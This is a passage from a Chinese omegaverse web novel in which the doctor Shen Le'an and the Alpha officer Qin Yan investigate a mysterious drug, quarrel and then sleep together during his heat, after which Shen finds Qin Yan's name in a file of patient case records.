声音顺着传到正同时间在外边偷听的周鸣耳朵里。 周鸣是刚刚站在门口的两个Alpha中的一个,这次的任务听说能够和秦砚碰面,他这才主动和上面报备,占了一个看守的位置。 李怀玉提过见沈乐安的事情,以及沈乐安私下的要求,周鸣都听说过一点,沈乐安的话还是秦砚传达的,他觉得秦队能压下脾气专门转达真是见了鬼。 沈乐安的名字周鸣之前略有耳闻,尿检的事情还是从他开始的,但上面专门让秦队替沈乐安忙前跑后,周鸣作为秦砚带的联邦一军的一员,还是非常不爽的,尤其是这一次过来,还是秦队专门接送沈乐安过来的,简直让秦队变成了司机,周鸣觉得有点侮辱人,但秦队毕竟现在暂时不在军队,只是在联邦军校当教官,即使如此,周鸣还是替老大觉得不舒服。 尤其是这不懂事的小Omega从进去之后一直和李怀玉在不知道瞎扯叙些什么破事,周鸣光听着就觉得这人不大靠谱。 眼下听到沈乐安忽然单刀直入,又觉得这人没啥眼力见,哪有这么明白问的,万一李怀玉不高兴,耍赖说之前的话不作数怎么办? 周鸣表情几变,忍不住翻了个白眼,余光注意到秦砚淡淡的目光,脊背一挺,表情恢复了几分正儿八经的样子。 这一打岔,周鸣没听到后面他们的对话了。 紧闭的门一开,就见到沈乐安出来了。 正事要紧,周鸣忙道:“她说了吗?在哪里?” 秦砚看了眼他手上多出来的一盒药,视线微移,落在他的身上。 沈乐安将手上的东西给他,指了指那盒药丸,道:“她说是这个。” 打开盒子,里面装的是固态的药丸,上面还写着急救速心丸,秦砚拧眉,将东西抽了回去。 这和预料中的“药剂”的形态不同,又存放刁钻,偏偏林夫人胆大,放在身边,也难怪他们没有发现不对。 周鸣骂了声操,骂骂咧咧道:“我还以为这是她心脏病的急救药。” 沈乐安道:“放一枚进入水中,会和维生素片一样溶解,针管注射进入血管会比口头引入效果要好。” 秦砚瞥了周鸣一眼,周鸣轻咳两声,发现自己的失态,安静了下来。 那盒东西自然也给了周鸣。 东西到手,周鸣还是需要立马上交回去,不过还是走前看了眼秦砚,问:“秦队,要不要我找人送沈医生回去?” 秦砚道:“不用,我和他一起回。” 周鸣见他不容拒绝的安排,这才作罢。 走回车上,秦砚才重新提起刚刚的药物,说道:“里面少了一板药。” 那个盒子里面交到秦砚手上的有两板,一板上有四粒,说不上多,只是以盒子撑开的弧度来看,原先应该还有一板。 沈乐安眨了眨眼,道:“我们原先不是说好了?这算是我的报酬。” 秦砚:“东西交上去之后,会安排给你,但你现在直接拿走,算是违规。” 沈乐安老神在在道:“真按照流程走,那不是错失了太多研究的时间?有些东西不能轻易耽搁,你不是不懂,而且我只是取走我应该拿的,不算违规。” 他没有当着周鸣的面戳穿他,显然已经让了一步,沈乐安笑了笑,催促道:“快回家吧,我好饿。” 秦砚抿了抿唇,有点不悦。 “你再帮我和他们说一声呗,就说是我自己干的。”沈乐安笑眯眯道,“你相信我,他们不会生气的。” 沈乐安往他那一凑,抬手帮他扯下安全带,系上,离开前,瞥了眼那张不言苟笑的脸,指尖鬼使神差地往他唇瓣一扒拉,牵着Alpha的唇露出一丝弧度,愣是将那张严肃冷峻的脸弄得四不像。 秦砚简直被他胆大包天的行为气笑了,偏他如似一头灵活的泥鳅,在察觉敌人的攻势前迅速躲离,乖乖坐回了原位。 沈乐安舔舔唇,若无其事地看了眼窗外道:“好了,快开车吧。” 秦砚冷声道:“安全带系上。” 沈乐安回神,镇定地抽出自己的,低头找了找位置,扣上。 甫一抬头,便正好对上侧头视线直勾勾落在他身上的秦砚。 Alpha视线淡淡地描摹了一番他的面容,抬手至少年柔嫩的脸颊处,在少年怔楞间,指腹略微恶劣地施压,白团团的馒头任人搓圆捏扁一般,任人宰割,眼神还透着几分茫然。 Alpha捏着他的脸,语气严肃地警告他,“下不为例。” “……” 沈乐安回过神,只想给他来一拳。 第44章 第 44 章 沈乐安提出要求时, 秦砚已经料想到了后果,但真正和元首提起这件事情的时候,他还是不免感觉到有点不耻。 齐鸿钧并没有多在意此事, 不过他消息一向灵通, 笑意吟吟地道了一句:“看你最近一直在给乐安帮忙啊。” 秦砚:“这是您之前交代的事情。” 齐鸿钧哎呦了一声,“之前可没尽心到这种份上啊。” 这种不守规矩疑似走关系的事情,哪怕事情小,秦砚之前可是半点不会做的, 齐鸿钧之前还嫌弃他办事太直,容易得罪人, 这会儿倒是帮人干了一件人情事。 秦砚默了默,不说话了。 齐鸿钧笑了两声,没再调侃他,又问道:“他要的病例里面有你的那一份, 需要我帮你单独消掉吗?” 秦砚攥了攥手心里的水果糖, 回他:“已经答应给他了, 没有必要多此一举。” 齐鸿钧叹了一声,“希望这次弄到这个东西, 能有点成效, 虽然小徐说你身体暂时无恙, 我还是很担心你的身体情况。” 门外有人走动的声音,秦砚下意识往那处望去,随后想起来这几天沈乐安都在自己家里, 回神与电话里的人道:“一切如常, 没有大事, 您不用担心。” 那头还等着他开会,齐鸿钧讲完正事, 简单与他闲聊了两句就挂了电话。 秦砚将糖果放回桌面,起身,出了书房。 沈乐安人在客厅。 他从医院回来之后,一直对那一板药丸尤其的钻研深刻,但偏偏将近发情期,他没有办法,还是暂时请了假,没有外出。 心急吃不了热豆腐,但被迫闲下来,沈乐安还是不免有点郁闷,不过好在唐洛安的全息设备2.0版本出来了,提前给他试玩。 里面放的药剂是沈乐安最近做出来的实验药品,他一个Omega感受不算深刻,如果能够有Alpha体验反馈,应该更有反馈效果。 沈乐安想着,便见到从二楼下来的秦砚。 这几天在秦砚家里待熟了,看到秦砚本人,都觉得秦砚好像没有以前那么疏远不近人情。 秦砚在家的时候也不像沈乐安以前想象中的那样,睡觉还是穿着正装,事实证明,秦砚也是个正常人,在家也是穿着休闲的睡衣,只不过人家的睡衣和沈乐安身上花里胡哨的动物图案不同,倒是和他房间装修一样的简约。 秦砚和那个神秘的靠山打电话的时候会专门到书房,沈乐安这还是清楚的。 见他走过来,沈乐安问:“你打完电话了?” 秦砚嗯了一声,坐在沙发的另外一侧,手上捧起一个平板。 沈乐安瞥了他一眼。 秦砚闲着没事的时候就会坐在那里看东西,沈乐安有次去偷偷瞄过他平板上的内容,才知道他会定期关注热点时事,其中主要是军事板块的事情。 除此之外,好像没有任何别的休闲手段,看的沈乐安深觉无语。 Alpha哪怕是倚在沙发靠背,依旧后脊挺直,微微垂着眼皮,视线淡漠地盯着屏幕,修长的指尖在上面滑动,两膝交叠,平板放在大腿上。 分明是翘着二郎腿的闲散姿势,但秦砚做着,怎么都看不出来懒散二字。 沈乐安打量了片刻,便瞥见正主投来视线,拧了下眉,问他:“有什么事?” 沈乐安瞅了眼他们之间相隔甚远的距离,抱着怀里的抱枕,一边还推着桌上的东西,挪到他身侧。 秦砚看着桌面被他一路拖过来的水果和小零食,抽了抽嘴角,无语地看着他。 沈乐安还主动问他:“要吃吗?” 秦砚拒绝的直接:“不吃。” 沈乐安放下,拆开,喂到了自己的嘴里,“你的靠山没有因为我的事情生气吧?” 秦砚不答反问:“你觉得呢?” 沈乐安扫了眼他古井无波的神色,啧了一声,“那肯定没生气。” 秦砚没有追问他怎么看出来的,只是默认了他的猜测。 沈乐安又道:“那之前答应我的东西什么时候能够给我?” 秦砚:“会尽快。” 沈乐安还算满意地点点头。 解答完他的疑惑,秦砚点了点熄灭的平板屏幕,眼神示意沈乐安坐回原位,不要影响他看新闻。 沈乐安上一次好奇,在他看东西的时候坐过来过,Omega黏糊糊的,还会时不时出声问他新闻内容里面的问题,东扯西扯,话多的不行,秦砚觉得十分影响他做事情的效率。 沈乐安权当没看懂他眼神里面的嫌弃,指了指他手里的平板,问他:“你前天不是看过这个了?” 他屏幕上显示的那篇文章正是上一次沈乐安逮着问他的那一篇。 秦砚道:“上次没认真看,重看一遍。” 沈乐安觉得他有毛病,这话没说出口,只是问他:“你今晚是不是没有别的事情了?” 秦砚抬了抬眼皮,“找我有什么事情?” 沈乐安笑道:“要不要玩游戏?” 沈乐安平时休闲的时候大多数是在玩游戏,秦砚觉得他这是在玩物丧志,想也不想的拒绝,“我有正事要做,你也可以找点正事合理利用时间。” 沈乐安觉得他对这个有偏见,也不是很喜欢他开口就是说教的口吻,瞥了他一眼,问道:“你从小到大都是这样?” 他的语气明显有和上次不欢而散一样的趋势,秦砚不明所以,只好放下手里的东西,将上次他的话还回去:“我不想无缘无故和你吵架。” 这话明显让沈乐安想起来上一次秦砚居高临下的指责。 沈乐安斜了他一眼,讥讽道:“你以为我像你?” 秦砚眉心微拧,不喜他冷冰冰的语气,尤其是这样的冷嘲热讽,“我怎么得罪你了?你能不能和我直接说清楚。” 得罪? 这用词搞得好像是他无理取闹似的。 沈乐安真的是因为他这一通话下来怒火中烧,抱枕被他丢在一旁,起身,想也不想就要走。 秦砚反手捉住他的手臂,逼停他的脚步,语气强硬:“说清楚。” 他并不喜欢沈乐安这种遇到事情不解决只想着逃避的行为,上一次秦砚勉强忽略过此事,但显而易见,这样的行为非常具有隐患。 沈乐安不敌他的力气,咬咬牙,冷声斥道:“松开!” 秦砚松手,拧了拧眉道:“你有不满可以说清楚,不该以不面对的方式解决。” 被他戳破那一层,沈乐安冷着脸转回身,垂了垂眼皮看他。 秦砚坐在原位,沈乐安是站着,哪怕秦砚是略微仰视的动作,他那双漆黑的眼眸仍旧带着一种淡淡的自负。 沈乐安抬手,掐着他的下巴,使了点力气,迫使他略微扬起头,秦砚眉心明显扬起不悦,因为Omega十分轻浮而挑衅的动作。 Omega居高临下地看着他,纯然的双瞳内带着昭然而揭的嘲弄和轻视,指腹似有若无地摩挲着他的唇下区域,视线仿佛描摹着他脸上的每一寸纹理,像是在打量着某一个随手可丢的玩具。 秦砚难以遏制被沈乐安这一番举动挑拨起来的怒意。 “生气吗?”沈乐安狎昵地抬手碰了碰他的眼睛,“你平时就是这样和我说话的。” Alpha此时此刻,全然没有平时的平静,眼底聚了一层别样的颜色,深蓝积攒,仿佛化成火焰,如似漂亮的蓝海宝珠。 沈乐安全然没有踩钢丝的感觉,他深谙秦砚本人刻在骨子里面的冷静自持,心知肚明把人惹火了也不会怎么样,索性放开了拘束,欣赏起他的明明被人挑衅气的不行仍旧表面风平浪静的俊颜。 论忍耐力这一点上,沈乐安是非常佩服秦砚的,佩服的五体投地,反正他是忍不了。 见他竟然不反抗,沈乐安反倒多了一点心平气和,又道:“你这人说话就是自负自傲,看不起人,一点尊重也没有,玩个游戏还要逼逼赖赖,你以为我看不穿你心里对我的评价?就你干的是正事,别人都是不务正业了呗?看不起谁呢。还有上次,我都没有干涉过你和谁来往,你凭什么对我的朋友圈评头论足?” 自负?不尊重? 秦砚听着他说的话,又配上他这一番姿态,回忆起沈乐安之前种种行为,以及自己为他而向元首破例提的几次事,只觉人气到极致,大约连表情都做不出。 沈乐安那一张嫣红的唇还在不停地往外输出,“还说清楚?你求人道歉也是这种姿态?哦说不定你这辈子长那么大还没正儿八经道过歉呢,我说了这些你心里指不定还觉得我要求高,难为你这个绝世好A了吧?毕竟在你心目中,Omega都应该和你要求的对象似的,足够沉稳,足够包容,唯A是从,是个没有脑袋的花瓶,老子可不是那种没脑子的东西,还要白白挨你的气!” 还掐他的脸,对他指手画脚的。 沈乐安低眸,狠狠报复了回去,可惜Alpha那张冷脸没有什么多余的肉,一点都没有小孩的脸好捏,“当初本来就说好的,不许你干预我的私事,谁需要你咸吃萝卜瞎操心。” 瞥了眼视线仿佛化作尖刀一样的Alpha,沈乐安觉得自己大约玩过了火,松开手,小声嘀咕了一句,“不行就分手算了。” 反正他也没想改变谁,实在谈不拢,就分了呗,沈乐安真心觉得谈恋爱真的是麻烦,一件小事都值得这么争来执去的。 那话音一落,彻底将Alpha的底线踩足,集聚的火气如压制已久的火山,倏然喷发,周身的空气都蔓延着那股冷意。 挑拨起熊熊火焰的人也没想得到什么答案,转身就想效仿之前的做法直接离开。 沈乐安没能走成。 Alpha箍住他的手臂,力气大的吓人,直直将人拽了回来,沈乐安重心不稳,整个人往后一栽,重重往下一撞,痛意从喉口溢出。 他没有摔在沙发上,而是栽到了秦砚的腿上,人还有点懵,便被那微凉的大手控制住了侧颈。 冰凉的、外来的温度感知让人陡然一个激灵,人也清醒了几分。 Omega一侧头,怒意还未宣泄出口,颈侧的手被强硬地逼迫他抬起了头。 秦砚未置一词,以唇堵住了他的话语,重重的、不容拒绝的方式惩治着方才无法无天的Omega。 话音被长驱直入的舌全部吞没,沈乐安有口难言,只勉强漏出一丝隐秘而微弱的呜咽,呼吸都乱不可言。 第45章 第 45 章 男性骨子里面的不服输和自负沈乐安自己也有, 这一点上,他从来都是承认的,只不过他一向把这些东西藏得很深, 一般人看不出来。 这样的个性体现在许多方面, 如在当下,唇齿间的博弈也让他燃起鹰隼般的意志。 秦砚攻势很猛,又急又凶,像是在发泄自己积蓄已久的情绪。 趁人不备, 沈乐安险些没喘过气,回过神, 舌尖还有淡淡的麻,隐隐还有一丝血腥,是刚才他狠下心,咬破了秦砚下唇的缘故。 分开一瞬, 沈乐安呼吸十分的不稳, 狼狈地吐着气, 他莹白的面上不知是因为刚刚的闭气还是气急的缘故,染上一层晚霞一样的红, 双眸氤氲着水雾, 但眼珠还亮着汹汹气势。 秦砚舔去唇瓣的血珠, 轻轻捏了捏他的后颈,道:“下次不要说那种气话。” 刚刚说了那么多,沈乐安根本不知道他指的是那句, 何况, 他并不认为自己说的那些是什么劳什子气话。 沈乐安没好气道:“我他妈有那闲工夫跟你说气话?” 这话真是难听又刺耳。 秦砚盯着他微微肿起的唇瓣看了一会儿, 随后用那粗糙的指腹在上面意味不明地碾了碾。 红酒的气味弥漫在空气之中,逐渐浓郁。 沈乐安看了眼方才唇齿纠缠间秦砚身上被自己扯掉的几颗衬衣扣子, 说打架又不像打架,反而像是调情。 秦砚有什么反应他当然能够感受到,他也是正常的男人,当然也会有。 沈乐安往里探了探,仰头对上Alpha幽暗的视线,道:“回我房间。” 少年何其的胆大妄为,竟然伸手从扣子崩开而微微敞开的衬衣下摆探入,在Alpha的腹部堂而皇之地肌肤相贴。 轻软的指腹从试探的好奇到明目张胆地窥视,仿佛在验证一直藏于内里的肌肤是何颜色又是何触感,行为举止堪称张扬与放荡。 少年的动作好似带着没有任何生疏,反而有几分熟稔,不知是蓄谋已久还是经验十足,后者的认知让Alpha沉了几分脸色。 无声的沉默在对视间蔓延,随之而来的还有淡而未觉的松雪之气,活跃的分子仿佛许久没有见到外人,比上次还要热情洋溢,黏上Omega的每一寸肌肤,激起一层淡淡的颤栗。 无声无息地对峙之后,秦砚还是应了他的要求,不过从客厅回到主卧,沈乐安整个人都觉得不大友好,因为秦砚是将他扛上来的。 也不知道是不是因为上一次他表现出排斥被抱着这个行为的因素,还是秦砚有意报复他刚刚的行为,总而言之,沈乐安表情十分不爽。 走了一层楼,秦砚好像又恢复了一点冷静。 他没有再做出格的动作,只是重复着上一次易感期时帮他放松揉一揉腺体而已,然后打算再进行一次标记,流程就算正式结束。 沈乐安还记着方才的仇,哪会轻易罢休? 他掐着秦砚的下巴,逼他低头,而后重复楼下的动作,转守为攻,舌尖灵活地撬开他的齿牙,纠缠回去。 耳畔边明显是Alpha有些被搅乱的呼吸声。 他没有料到沈乐安会如此行径。 秦砚指腹微微施了一点力气,怀里的人身体颤了颤,嘴里的动作也滞了一分,凶恶的猛禽眸色暗了暗,反咬一口反击回去。 男性之间的博弈大部分时候在于绝对的武力值对抗,但AO体质差别不提,以沈乐安这种体质,也是绝对难以比得过秦砚的。 但沈乐安绝大多数时候都不会以卵击石,而是以智力取胜,哪怕是有点胜之不武,手段有点缺乏道德底线。 秦砚被人拿捏了要害,此刻身体也有些许僵硬,看了眼眉眼艳红的Omega,控制住他不安分的手,抿了抿唇。 他是个正常的男人,有生理需求不是什么意外的事情,只不过他一向克制,不会随意做什么出格的事情。 饶是如此,因为沈乐安大胆的举动,那东西还是难堪地给予了反应,这让秦砚难得生出了几分狼狈之色。 沈乐安饶有兴致地看着他。 秦砚没什么表情,声音还有几分低沉:“我不会动你。” 他的反应和那活跃的信息素分子反差感极强,沈乐安笑问:“为什么?” Omega难得乖顺地没有反抗,秦砚松开手,只道了一句:“我们还不适合做终身标记。” 沈乐安虽然看淡ABO世界里面信息素的一些东西,但常识还是有的。 终身标记顾名思义,一旦一个Omega选择和Alpha做了终身标记,那发情期相当于和这个Alpha进行了绑定,想要剔除,需要专门做手术。 做这个标记的还有个条件,就是AO在做那个事情的时候,Alpha的那玩意弄在Omega的身体里的同时进行标记。 这玩意还有致孕的可能,可谓让沈乐安大开三观。 沈乐安没想到秦砚竟然会想到这一层,又有点微妙的觉得这人不会就把x生活当成度过特殊时期的任务吧?或者以后也许变成和伴侣生小孩的无奈之举? 不过以秦砚的个性,这些也不是不可能。 沈乐安这辈子大概都没办法理解秦砚的想法,不过他也没打算和秦砚共鸣,箭在弦上,找到合理的方法解决就行了。 腺体处传来阵阵刺痛,是没有及时纾解的反应,沈乐安吐了吐气,轻轻推了推Alpha坚实的手臂,“你把床头柜的第一个抽屉打开。” 沈乐安身上穿的是秦砚没穿过的新衬衣,此刻虽然不至于扣子崩坏,但也是皱巴巴的,秦砚敛回视线,依他所言,伸手过去,开了抽屉。 里面的东西大喇喇地出现在Alpha的眼前。 沈乐安的意图昭然而揭,又堂而皇之地摆在明面,动作也鲜明地表达了自己的想法。 秦砚喉结滚了滚,又被那不安好心的分子抚上脆弱的喉口,只是柔软的唇瓣轻轻一碰,便轻易击溃Alpha冷静与自持。 “你什么时候买的?”哪怕克制之下,秦砚依旧听出来自己声音里面的暗哑。 “忘了,”沈乐安欣赏着他难得的失控,随口道,“几天前吧。” 其实早有准备,只不过这人太过严肃,仿佛和风月无关,所以一直只做压箱底的东西罢了。 Alpha那一双眼睛荡漾着汹涌的、浓烈的蓝色,比汪洋大海还有来的深沉无边,眼睑处弥漫着失控的薄红,鼻翼翕动,充斥着不平稳的呼吸,薄唇紧紧抿着,控制着情绪。 他控制不住这样言辞与行动都表达直接的Omega,也抵挡不住他的直白。 Omega发亮的双眸与嘴角扬起的笑意明明白白的表达着他的欢喜,黏糊糊的动作让秦砚不免想起来在医院时,Omega半睡半醒间的依赖。 虽然他们刚刚吵了一架,但伴侣之间有矛盾也是正常的事情,不可否认,这段时间以来,沈乐安还是很乖的,除了有时容易嘴硬之外。 沉默良久,秦砚垂了垂眼皮,抬手,捻了捻他的耳珠,“下次不要随便说那样的气话。” 敏感的部分被人拿捏,沈乐安感觉到了这种酸爽,撩拨的动作也彻底没了,整个人都有点麻。 后颈处的腺体也尤其不安分,红酒的气息愈发浓郁,搅乱不算清醒的神经,让人有点晕眩。 见他默认,秦砚略有点满意,吻了吻他的唇瓣,又道:“我决定回一趟家,你到时候和我一起回?” 既然决定关系再进一步,还是需要和家里再见见面,不过以沈乐安应付长辈的本事,秦砚觉得这并非是什么难题。 沈乐安也没听清他说的话,只囫囵应下,身体有点不受控的开始发热,是发情期开始汹涌的征兆。 潮涌一样的信息素从身体内部喷涌而出,一阵一阵密集而来,沈乐安呼吸不稳,人也有点轻飘飘的,似是发热,又似坠入冰窖的冷,只能顺从地迎合着Alpha的动作。 Alpha转为主动时,动作与姿势都尤其强势,步步逼近,仿佛不容许任何的后退。 自古博弈都是一来一往,但沈乐安眼下正值虚弱,和年轻气盛的秦砚自然是难以匹敌。 事实证明,人对某一件东西的欲望需求是在得到这件东西之前的那一刻是真正达到巅峰的,爽完一次之后,沈乐安只剩下满心的疲倦和困意,尤其是自己还经历了一次持久的临时标记。 Alpha信息素的注入比之前的哪一次都来的兴奋,宛若横冲直闯不守规矩的暴徒,一点礼数也无,没有所谓严谨和知礼,只有暴力和无礼的撞击,想开凿隧道的石头,没有目的的乱闯,有没有尽头不知道,沈乐安是觉得自己快死了。 尤其是Alpha的自尊心,不允许自己重复第一次陌生又没有经验的短暂片刻,铆足了劲,像是要证明自己多有能耐一样。 沈乐安觉得自己可能变成了轻飘飘的纸片人,可以任人蹂躏的那种,哪怕标记完,他恢复了清醒,也没能拒绝成功,只觉自己变成了砧板上的鱼,秦砚在那翻来覆去,一点不得闲。 直到睡前,沈乐安还在想,也许是秦砚想要故意报复他今天在楼下干的事情和对他说的话,但说来说去,这事也是秦砚自己让他说的,关他什么事? Omega后半夜还有点睡眠太浅,说着梦话,翻了翻身,最后被Alpha揽入怀中,鼻尖嗅到一点熟悉的气息,又巴巴地黏了上去,折腾了一会儿才熟睡过去。 姿势和动作如同那晚在病房里一样的粘人,像是没有安全感的小猫。 Alpha轻轻摸了摸怀里柔软的脑袋,也闭上了眼睛。 第46章 第 46 章 午后日光正浓, 秋意的尾声将去,热气也被风卷走,落下一片簌簌的枝叶, 偶有人从道上走过, 还有一点嬉闹声。 灰调的帘布挡住了外头绝大部分的光线,房间内视野昏暗,但偷偷溜进来的一丝光亮足以能够看清卧室内的光景。 昨夜的一片狼藉仿佛一场梦,屋内翻七倒八被人随手拽落的衣服不见了踪影, 床上也是干干净净,只睡了沈乐安一个人, 如果不是旁边还有另外一个人睡过的一点褶皱痕迹,沈乐安大概会认为自己昨晚做了一场艳色春梦。 沈乐安身上还穿着衬衣,不过不是昨晚那件,身上也没有那种汗津津的黏腻感, 他木着脸解开最上面的那颗扣子, 记忆倒是清晰了些。 秦砚的洁癖果然非常人所能比拟, 大半夜还拖着他去洗了趟澡,后边他实在坚持不住, 睡过去了, 衣服还是秦砚那狗逼给他穿的。 沈乐安开了灯, 在床上坐了一会儿,还是下了床。 他一天没吃东西,实在有点扛不住饥饿的感觉, 胃里唱着空城计, 倒腾的厉害。 一下楼, 沈乐安便看到了在厨房里忙活的秦砚。 哪怕是背影,沈乐安还是第一眼发现了他后颈处的几处红痕, 印子略深,想也知道不可能是秦砚自己弄出来的。 说实话,他们两个昨天刚吵了一架,还折腾出来了那种亲密的事情,情况颇为复杂,沈乐安现在并不是很想碰见正主本人。 沈乐安挪了挪方向,打算去冰箱里面拿瓶酸奶和吃的就走,刚关上冰箱门,就听到里面传来的声音,“再等几分钟饭就好了,不要吃太多零食。” 只短暂的犹豫了几秒,沈乐安还是走到餐桌那里坐了下来。 反正秦砚都不觉得尴尬,他躲着倒显得他心虚见不得人似的,毕竟床上床下两个面孔,沈乐安也是司空见惯了的。 沈乐安想着,倒是镇定了下来,来来回回看秦砚端东西上来,两人也没有说话,气氛表面上颇为安静和谐。 事实证明,男人这种东西,发生关系后还是略有不同的。 沈乐安瞥了眼秦砚帮他取出来的碗筷和送到跟前的饭碗,抬了抬眼皮,略有几分惊奇。 秦砚只扫了眼他似乎颇为满意而扬起的唇角,没有错过他惊讶的小眼神,没有多言,取走自己的那一份,坐回原位。 昨晚他半梦半醒,如似上次在医院那般,起床时一样如此般一无所知,但他昨夜嘴里喃喃的埋怨秦砚这一回倒是听清了一些。 秦砚也是昨晚才知道沈乐安还真的是不讲理的小少爷,一点小事都记仇的不行。 虽然不知道秦砚怎么中了邪,但被人伺候周到一回,沈乐安还是心情美好。 Omega衬衣上面的扣子解开,领口微微敞着,秦砚坐在他对面,里面的痕迹不免看的分明。 他垂了垂眼皮,道:“床头柜那里放了药,是给你的,外敷内用的都有。” 沈乐安起床的时候是发现了那些药,用了其中一些,不过是用在疼的要死的部位,刚刚起来没照镜子,此刻察觉到他隐晦的视线,下意识低头瞅了眼,沉默半晌,又将那颗扣子端正系好,若无其事地回他:“知道。” 而后是彼此默契的寂静无声。 沈乐安心不在焉地吃了两口菜,没注意夹了一口辣椒,沾到有点破皮的嘴唇,堪称辛辣刺骨,倏然吸了一口凉气,疼的面色扭曲。 秦砚注意到他的动作,放下筷子,取了纸巾,弄湿,贴到了他的唇上。 少年眼底因为疼痛,多了一点戚戚然的水雾,眼尾、鼻尖都泛着红,冒出一点生理泪水,瞧上去有几分可怜巴巴的样子。 那卷翘浓密的睫羽扇了几下,水珠便自然地落了下来,他昨晚也是这样可怜兮兮的。 想到他昨晚的控诉,秦砚咽下将要出口的斥责,抿了抿唇,道:“要不要涂药?” 沈乐安用力抿了几口冰凉的纸巾,那种痛而麻的感觉才降下去了一点,“等会再说,我饭还没吃完呢。” 秦砚道:“这道菜别碰了。” 沈乐安瞥了眼,说:“我只吃里面的肉,不吃辣椒。” 秦砚看了他一眼,没有再劝。 沈乐安见他坐回去,拿下那张皱巴巴的纸巾,才道:“谢谢啊。” 秦砚:“吃饭吧。” 长了记性,沈乐安这次夹东西注意了一点。 秦砚看了眼他小心挑拣的动作,记起他昨天还专门询问的事情,提了一句:“你要的资料已经全部发到你邮箱里面了,接收的密码是你的名字缩写,记得一次性下载完,这是一次性接收的文件,不能外传。” 沈乐安点点头。 秦砚迟疑片刻,又道:“之前让你离唐邵远一点是因为他对你有追求的意向,我不是很愿意你与他有过于亲密的来往,至于游戏的事情,我父亲认为这是玩物丧志,所以我也对此持有负面评价,这一点我可以向你道歉。” 沈乐安完全因为他第一句话的内容表情裂开了,“你是不是弄错了?” Alpha本能的认知让他坚信自己的猜测,秦砚不做解释,只是静静看着他。 听起来感觉还有点像吃醋,但秦砚一本正经的表情又不像,沈乐安瞅了他一眼,撇撇嘴,“放心,我目前只对你感兴趣。” 秦砚并不喜欢他加的时间限定词,但不可否认,Omega如此直白的表达,还是让他略有欣喜。 秦砚嗯了一声,表示回复。 至于游戏的事情,沈乐安有点不爽道:“我投资找人做的研发,想找你做个测评而已,谁叫你上纲上线?”就他这样的,谁想找他一起玩游戏啊。 秦砚道:“你还在因为这个生气?” 沈乐安看了眼他严肃的表情,想到他刚刚破天荒的道歉又对比当初义正严词的模样,扯了扯唇角,“这里又没有谁乐意哄我高兴,我哪里会敢生气?不小心气出病可不好了。” 秦砚果然沉默了,眉宇微皱,唇瓣上下碰了碰,只砸出了两个字,“抱歉。” 沈乐安冷哼一声,没有和他计较。 虽然表面上冷声冷色,沈乐安心里还是暗爽的,毕竟秦砚以前傲得不行,如今竟然还听得到这眼睛长到天上的人道歉,实在是盘古开天辟地一样的离奇。 人一高兴,眼角的喜悦就有点藏不住,尤其是沈乐安这种十分容易得意洋洋的小狐狸。 秦砚默默在心里叹了口气,饶是刚才因为他得理不饶人的行为弄出几分恼意,如今也因为他此刻的小动作而褪去,反而生出几分无奈来。 见他吃饱喝足,秦砚才问:“最近什么时候有空?” 沈乐安不明所以:“干什么?” 秦砚:“陪我回一次老宅。” 沈乐安莫名其妙:“我回你家做什么?” “不是你提醒我要回家看看?”秦砚提醒道,“你昨晚答应了。” 他没事回他家做什么,这不是让人误会吗,而且宋书颖还疑似知道他们之间的不对,沈乐安完全没有昨晚上的记忆,使劲回想也记不起来,但提醒秦砚回家这事确实是当时在严教授家的时候他叫的。 后半夜他人满脑子只剩下睡觉,啥记忆也没有,沈乐安略有几分心虚地回:“我没什么印象答应过你这事了。” 秦砚放下了筷子,眼睛一动不动地盯着他,多了几分冷。 沈乐安实在想不起来这破事,但以他对秦砚的了解,要是他违约,秦砚估计会很生气。 他也不是没去过朋友家吃饭,余淮阳家里他也去过几次,只不过和秦砚关系尴尬,他有点排斥罢了。 察觉到对面的Alpha愈发严肃的表情,沈乐安想了想,还是道:“最近没空,我爷爷生日要到了,得回去庆生。” 沈老爷子庆生的事情秦砚知道一点,他母亲和他提过,说是到时候可能会办个小的庆生会,还问他要不要一起过去。 秦砚嗯了一声,又道:“你爷爷有没有什么喜欢的东西?” 沈乐安道:“他平时喜欢下棋,偶尔跑去钓钓鱼,会喝点茶吧,也没有什么特别喜欢的东西。” 秦砚了然,又道:“庆生后有没有空?” 沈乐安思索片刻,勉为其难地回道:“应该可以。” 秦砚记下此事。 沈乐安吃完饭后就回了房间,取了笔记本电脑,接收邮箱内传来的文件。 压缩包很大,里面的东西还不少,也不知道能不能有点用处。 沈乐安最最关心的还是里面的病例,他目前能够搜集到的病例的最早时间是两年前。 病例的文档实在庞大,他下了好一会儿才接收完全。 文档一打开,沈乐安一目十行的看了一眼,联邦记录的患者信息比他想象中的要齐全,包括每一次看病的记录和医生的诊断信息都在内,甚至还有对比图,以及患者的个人信息。 病例集中出现在这两年的时间,且从这些患者的记录来看,大多数患者在接受治疗不久之后,还是因为再一次发生信息素暴动而治疗失败死亡,可想而知,这个疾病的风险率有多高。 病例里面只记录了患者的看病时间,当然,还有一些患者的陈述,说明了自己第一次发病的时间,勉强能够推测他可能注射药剂的大致时间,最早估测也是在三年前。 沈乐安往后看了几个病例,都没有见到比这个还要再早一点的时间,心中不免有几分沉重。 他关注这个还是因为自己在实验室里面无意发现的,那板药的包装银色页面如果放在紫光下,能够看得清上面露出来的图案,不知道的人眼中说不定以为这个是反叛军的什么军队标志,不过沈乐安之前查过,和反叛军的标志无关,但偏偏那个标志他之前见过。 沈乐安还专门将当时沈华章给他发的那个PPT比对过,那个Logo明显是他们公司的企业图标,而且沈华章这个公司他很早之前就听家里提起过,这项目是沈华章五年前创立的。 这种查凶手查到自己家的感觉真他妈的想骂娘。 但沈乐安觉得沈华章这傻逼应该不至于去整这种药,而且以他的脑子,应该还弄不出这种高级的货色,不过牵扯到了沈华章,难免会弄出来沈家,他有点怀疑是不是谁想给他家甩锅了。 这事还实在不好和别人说,尤其是秦砚,他背后代表的是联邦,沈乐安只能将此事藏着,努力在联邦发现之前,自己看看能不能发现点什么,以及弄出一点保底的能够说话的资本。 沈乐安一边将文档往下滑,一边将沈华章骂的狗血淋头。 文档一路滑到最底,看到最后一个案例的名字时,沈乐安怔了怔。 患者的个人简介处赫然贴着一张让他极为熟悉的面孔,男人五官深邃,病时剪光了头发,眉宇如刀锋,鼻梁高挺,薄唇轻抿,双眸犀利如鹰隼,直勾勾地盯着正前方,仿佛穿透屏幕,抓住窥视他的眼前人。 沈乐安鼠标滑动的速度明显慢了下来。 他的简介信息处只有简单的一行字——联邦一军总队,秦砚,后面还点缀了一个称谓,上将。 沈乐安第一反应也没想别的。 他只是觉得秦砚还挺能忍的。 难怪昨晚搞那么狠。 第47章 第 47 章 